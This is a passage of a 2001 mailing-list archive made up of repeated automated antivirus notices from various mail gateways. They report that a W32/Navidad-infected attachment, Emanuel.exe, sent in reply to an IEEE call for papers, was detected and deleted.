[172.16.0.5]) by mailhost.somfy.com (Postfix) with SMTP id 2D1BE4EC20; Wed, 3 Jan 2001 11:21:53 +0100 (CET) Received: by mailmta.cluses.somfy.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C12569C9.00387A0D ; Wed, 3 Jan 2001 11:16:52 +0100 X-Lotus-FromDomain: SINET From: "MAILMTA01" To: "Antigen Notification List" Message-ID: Date: Wed, 3 Jan 2001 11:16:50 +0100 Subject: ALERT: Antigen has suspended a message from "Wu Jun" in SCAN.BOX Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Error NWall.Sfadll(508.23.259): Failed to update cured file attachment. The message is currently suspended in SCAN.BOX on CN=MAILMTA01/O=SINET. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:28:45 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17535 for ; Wed, 3 Jan 2001 06:28:45 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16771 for manet-outgoing; Wed, 3 Jan 2001 05:08:15 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16765 for ; Wed, 3 Jan 2001 05:08:13 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id EA2AD7F85; Wed, 3 Jan 2001 03:04:43 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 02:08:12 -0800 Message-ID: <15E6537E180CC545848148F30F6688D817104C@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 02:08:11 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:29:19 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17548 for ; Wed, 3 Jan 2001 06:29:18 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA18098 for manet-outgoing; Wed, 3 Jan 2001 05:17:30 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA18089 for ; Wed, 3 Jan 2001 05:17:28 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA19876; Wed, 3 Jan 2001 05:17:26 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA27220; Wed, 3 Jan 2001 05:17:28 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:17:26 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD2D@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 05:17:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:29:44 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17570 for ; Wed, 3 Jan 2001 06:29:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA19466 for manet-outgoing; Wed, 3 Jan 2001 05:25:59 -0500 (EST) Received: from viper3.alleghenypower.com (viper3.alleghenypower.com [63.68.200.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA19461 for ; Wed, 3 Jan 2001 05:25:57 -0500 (EST) Received: from viper3.alleghenypower.com (root@localhost) by viper3.alleghenypower.com with ESMTP id FAA27325 for ; Wed, 3 Jan 2001 05:25:57 -0500 (EST) Message-Id: <200101031025.FAA27302@viper3.alleghenypower.com> From: ANTIGEN_SAPXCH0C To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found =emanuel.exe file Date: Wed, 3 Jan 2001 05:26:39 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe matching =emanuel.exe file filter. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SAPXCH0C. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:33:34 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17652 for ; Wed, 3 Jan 2001 06:33:34 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17083 for manet-outgoing; Wed, 3 Jan 2001 05:09:54 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17069 for ; Wed, 3 Jan 2001 05:09:52 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA19607; Wed, 3 Jan 2001 05:09:50 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA26658; Wed, 3 Jan 2001 05:09:51 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:09:47 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD28@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 05:09:47 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:37:36 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17724 for ; Wed, 3 Jan 2001 06:37:36 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA18873 for manet-outgoing; Wed, 3 Jan 2001 05:22:39 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA18867 for ; Wed, 3 Jan 2001 05:22:38 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id F125C7F83; Wed, 3 Jan 2001 03:19:08 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 02:22:37 -0800 Message-ID: <15E6537E180CC545848148F30F6688D8171050@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 02:22:36 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:40:33 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17774 for ; Wed, 3 Jan 2001 06:40:32 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA19899 for manet-outgoing; Wed, 3 Jan 2001 05:27:20 -0500 (EST) Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA19864 for ; Wed, 3 Jan 2001 05:27:16 -0500 (EST) Received: from us-ea-gtwy-7.ea.unisys.com (us-ea-gtwy-7.ea.unisys.com [192.61.145.102]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id KAA19882; Wed, 3 Jan 2001 10:26:13 GMT Received: by us-ea-gtwy-7.ea.unisys.com with Internet Mail Service (5.5.2650.21) id <5AA1NYY6>; Wed, 3 Jan 2001 04:27:05 -0600 Message-ID: <5DB22FA0A32CD2118DDD00104B94378A10CE34C8@us-ea-gtwy-7.ea.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-7_0 To: Kim Dongkyun Cc: tccc@ieee.org, Chunming Qiao , ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Wed, 3 Jan 2001 04:27:02 -0600 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk From: Wu Jun [SMTP:jwu@ee.cuhk.edu.hk] To: Date: Wed, Jan 03 2001, 3:10:26 AM Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 The message contained 1 virus(es): emanuel.exe infected with the Navidad.16896.Worm virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:47:21 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17848 for ; Wed, 3 Jan 2001 06:47:20 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA19808 for manet-outgoing; Wed, 3 Jan 2001 05:27:11 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA19796 for ; Wed, 3 Jan 2001 05:27:09 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA20228; Wed, 3 Jan 2001 05:27:08 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA27921; Wed, 3 Jan 2001 05:27:09 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:27:08 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD42@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 05:27:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:50:28 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17933 for ; Wed, 3 Jan 2001 06:50:28 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA18854 for manet-outgoing; Wed, 3 Jan 2001 05:22:29 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA18849 for ; Wed, 3 Jan 2001 05:22:27 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:19:00 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442ED@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found Navidad.16896.Worm virus Date: Wed, 3 Jan 2001 05:19:00 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with Navidad.16896.Worm virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-manet@itd.nrl.navy.mil Wed Jan 3 07:14:25 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA18270 for ; Wed, 3 Jan 2001 07:14:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA25594 for manet-outgoing; Wed, 3 Jan 2001 05:59:55 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA25588 for ; Wed, 3 Jan 2001 05:59:53 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA21168; Wed, 3 Jan 2001 05:59:52 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA00210; Wed, 3 Jan 2001 05:59:53 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:59:46 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD4B@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 05:59:45 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 07:19:27 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA18560 for ; Wed, 3 Jan 2001 07:19:27 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA26841 for manet-outgoing; Wed, 3 Jan 2001 06:12:01 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA26836 for ; Wed, 3 Jan 2001 06:11:59 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA21764; Wed, 3 Jan 2001 06:11:58 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA01318; Wed, 3 Jan 2001 06:12:00 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 06:11:57 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD5D@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 06:11:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 07:23:49 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA18789 for ; Wed, 3 Jan 2001 07:23:48 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA26855 for manet-outgoing; Wed, 3 Jan 2001 06:12:10 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA26843 for ; Wed, 3 Jan 2001 06:12:03 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA21772; Wed, 3 Jan 2001 06:12:01 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA01321; Wed, 3 Jan 2001 06:12:02 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 06:11:57 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD5A@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 06:11:46 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 07:33:56 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA19094 for ; Wed, 3 Jan 2001 07:33:55 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA27938 for manet-outgoing; Wed, 3 Jan 2001 06:25:56 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA27933 for ; Wed, 3 Jan 2001 06:25:54 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA22326; Wed, 3 Jan 2001 06:25:53 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA02199; Wed, 3 Jan 2001 06:25:55 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 06:25:54 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD60@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 06:25:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 09:15:44 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22473 for ; Wed, 3 Jan 2001 09:15:43 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id GAA29115 for manet-outgoing; Wed, 3 Jan 2001 06:41:24 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id GAA29110 for ; Wed, 3 Jan 2001 06:41:22 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA22884; Wed, 3 Jan 2001 06:41:17 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA03612; Wed, 3 Jan 2001 06:41:19 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 06:41:18 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD63@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 06:41:15 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 09:18:00 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22555 for ; Wed, 3 Jan 2001 09:18:00 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA00605 for manet-outgoing; Wed, 3 Jan 2001 07:02:00 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA00600 for ; Wed, 3 Jan 2001 07:01:58 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id HAA23679; Wed, 3 Jan 2001 07:01:53 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id HAA05528; Wed, 3 Jan 2001 07:01:55 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 07:01:54 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD69@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 07:01:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 09:18:12 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22571 for ; Wed, 3 Jan 2001 09:18:11 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA01041 for manet-outgoing; Wed, 3 Jan 2001 07:12:15 -0500 (EST) Received: from csunb0.leeds.ac.uk (csunb0.leeds.ac.uk [129.11.144.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id HAA01036 for ; Wed, 3 Jan 2001 07:12:13 -0500 (EST) Received: (from 